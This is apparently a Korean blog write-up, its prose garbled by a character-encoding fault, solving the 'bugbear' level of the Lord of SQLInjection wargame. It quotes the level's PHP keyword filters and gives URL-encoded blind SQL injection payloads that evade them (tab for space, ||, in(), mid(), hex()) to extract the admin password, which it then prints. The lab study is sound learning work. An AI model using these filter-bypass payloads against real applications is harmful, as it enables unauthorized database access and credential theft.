ํฐ์คํ ๋ฆฌ ๋ทฐ
13๋ฒ์งธ ๋ฌธ์ ์ธ " bugbear "์ ๋๋ค. bugbear์ ๊ฒฝ์ฐ ๊ฒ์ฆํ๋ ํค์๋๊ฐ ๋ง์ด ๋์ด๋ ์ฐํ ๊ตฌ๋ฌธ์ ์ฌ์ฉํด์ ์ฟผ๋ฆฌ๋ฌธ์ ์์ฑํด์ผ ๋ฉ๋๋ค.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
์๋กญ๊ฒ ๊ฒ์ฆํ๋ ํํฐ๋ง์ or ๊ตฌ๋ฌธ ๋์ ์ฌ์ฉ๋์๋ " like " ๋ฅผ ๊ฒ์ฆํ๊ณ hex ์ฝ๋ ์คํ ๋ฐฉ์ง๋ฅผ ์ํด "0x"๊น์ง ๊ฒ์ฆํ๊ณ ์์ต๋๋ค.
๋ํ " ascii " ์ฝ๋์ฌ์ฉํ๋๊ฒ๊น์ง ๋ง๊ณ ์๊ธฐ์ " ord " ๋ฅผ ์ฌ์ฉํ๋ ค๊ณ ํ์ผ๋ ์คํจํ์ต๋๋ค.
์ด์ ๋ preg_match ํจ์์ ํฌํจ๋ " or " ๋ฌธ์๋ฅผ ๊ฒ์ฆํ๊ธฐ ๋๋ฌธ์ " org "๋ฅผ ์ฌ์ฉํด ascii ์ฝ๋๋ฅผ ๊ฐ์ ธ์ค์ง ์๊ณ "hex"๋ฅผ ํตํด์ ๊ฐ์ ธ์์ผ ๋๋ค๋ ๊ฑธ ์์์ต๋๋ค.
๋ณดํต ์ด๋ฐ ์ํฉ์์๋ ์ฌ์ฉํ๊ณ ์ํ๋ ํค์๋๋ฅผ ํ๋์ฉ ์ฐํ ๊ตฌ๋ฌธ์ผ๋ก ๋ณ๊ฒฝํด๊ฐ๋ฉด์ ์๋ต ๊ฐ์ ๋น๊ตํด๋ณด๋ฉด์ ํ๋ฉด ์ด๋ ์ ๋ ์ฟผ๋ฆฌ๋ฌธ์ด ์์ฑ๋ฉ๋๋ค.
ํํฐ๋ง ๊ตฌ๋ฌธ ์ฐํ
๊ณต๋ฐฑ --> %09(TAB)
or --> ||(ํ์ดํ ์ฐ์ฐ์)
= (like ๊ฒ์ฆํ๊ธฐ์ ๋ค๋ฅธ ๊ฑฐ ์ฌ์ฉ) --> in()
and --> &&(%26%26)
substr --> mid()
ascii(org ๊ฐ ๊ฑธ๋ฆฌ๊ธฐ์ ๋ค๋ฅธ ๊ฑฐ์ฌ์ฉ) --> hex()
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET [pw]}'";
if(($result ['pw']) && ($result['pw'] == $_GET ['pw'])) solve("bugbear");
ํด๋น ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด์ " admin " ๊ณ์ ์ผ๋ก ์ ๊ทผ์ด ๊ฐ๋ฅํด์ผ ํ๋ฉฐ ์ ๊ทผ ํ๊ธฐ ์ํ ์กฐ๊ฑด์ ์ ๋ ฅํ ํจ์ค์๋์ db ๋ด์ ์ ์ฅ๋์ด ์๋ ํจ์ค์๋ ๊ฐ์ ๋น๊ตํด์ ์ผ์นํด์ผ ๋๊ธฐ ๋๋ฌธ์ BSQLI ๊ธฐ๋ฒ์ ์ฌ์ฉํด์ ์ ํํ ํจ์ค์๋ ๊ฐ์ ์ ์ถํด์ผ ๋ฉ๋๋ค.
ํจ์ค์๋ ๊ธธ์ด ์ ์ถ
1%09||%09id%09in%09("admin")%09%26%26%09length(pw)%09in%09(5) -->FALSE
1%09||%09id%09in%09("admin")%09%26%26%09length(pw)%09in%09(8) -->TRUE
๊ณต๋ฐฑ์ ๊ฒ์ฆํ๊ณ ์์ด์ ์ธ์ฝ๋ฉ์ผ๋ก ์ฑ์ฐ๋๋ผ ์กฐ๊ธ ๋ณต์กํด ๋ณด์ด์ง๋ง ํค์๋ ํ๋์ฉ ํ์ฉ๋๋ ๋ฌธ์์ด๋ก ๋ณ๊ฒฝํด ์ฃผ๋ค ๋ณด๋ฉด ์ฑ๊ณต์ ์ผ๋ก " Hello admin " ๊ตฌ๋ฌธ์ด ๋ํ๋ฉ๋๋ค.
์ฑ๊ณตํ ๊ตฌ๋ฌธ์ hex(mid() ๋ฅผ ์ฌ์ฉํด์ ํ๋์ฉ ascii ๊ฐ์ ๋์ ํด๋ณด๋ฉด 8์๋ฆฌ ๋ฌธ์ ์ด์ค ์ฌ์ฉ๋ ๊ฐ์ ํ๋์ฉ ์ ์ถํด๋ณผ ์ ์์ต๋๋ค.
32 ~ 47 : ํน์๋ฌธ์ (space, !, ", #, $, %, & ๋ฑ)
58 ~ 64 : ํน์๋ฌธ์ (:, ;, <, =, >, ?, @)
123 ~ 126 : ํน์๋ฌธ์ ({, |, }, ~)
48 ~ 57 : ์ซ์ (0 ~ 9)
65 ~ 90 : ์์ด(๋๋ฌธ์) (A ~ Z)
97 ~ 122 : ์์ด(์๋ฌธ์) (a ~ z)
ํจ์ค์๋ ๊ธธ์ด ์ ์ถ
<์ซ์์ถ์ถ>
1%09||%09id%09in%09("admin")%09%26%26%09hex(mid(pw,1,1))%09in%09(hex(47~57))%23
<์๋ฌธ์ ์ถ์ถ>
1%09||%09id%09in%09("admin")%09%26%26%09hex(mid(pw,1,1))%09in%09(hex(97~122))%23
๋์ถ๋ ๊ฐ ๋ณต๊ตฌ
53 --> 5
50 --> 2
100 --> d
99 --> c
51 --> 3
57 --> 9
57 --> 9
49 --> 1
" ์ฐธ "์ธ ๊ฒฝ์ฐ ๋ํ๋๋ " Hello admin "์ ์ฐธ๊ณ ํ์ฌ ๋์ถ๋ ํจ์ค์๋๋ฅผ ๋ณํํด๋ณด๋ฉด ์ฑ๊ณต์ ์ผ๋ก clear ๊ฐ ๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
์ด๋ฒ ๋ฌธ์ ๋ ๊ฒ์ฆํ๋ ํค์๋๊ฐ ํ์ฐํ๊ฒ ๋์ด๋์ ์ด๋ ์ ๋ ํผ๋์ด ์์์ง๋ง ์ฐจ๊ทผ์ฐจ๊ทผ ํด๊ฒฐํด๋ณด๋ ํด๋ต์ด ๋ณด์ด๊ธฐ ์์ํ๋ค์.
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
XSS Challenges 6 (0) | 2020.12.09 |
---|---|
[LOS] Giant ํ์ด(14) (0) | 2020.12.08 |
[LOS] Darkknight ํ์ด(12) (0) | 2020.12.08 |
XSS Challenges 5-2 (0) | 2020.12.08 |
XSS Challenges 5-1 (0) | 2020.12.07 |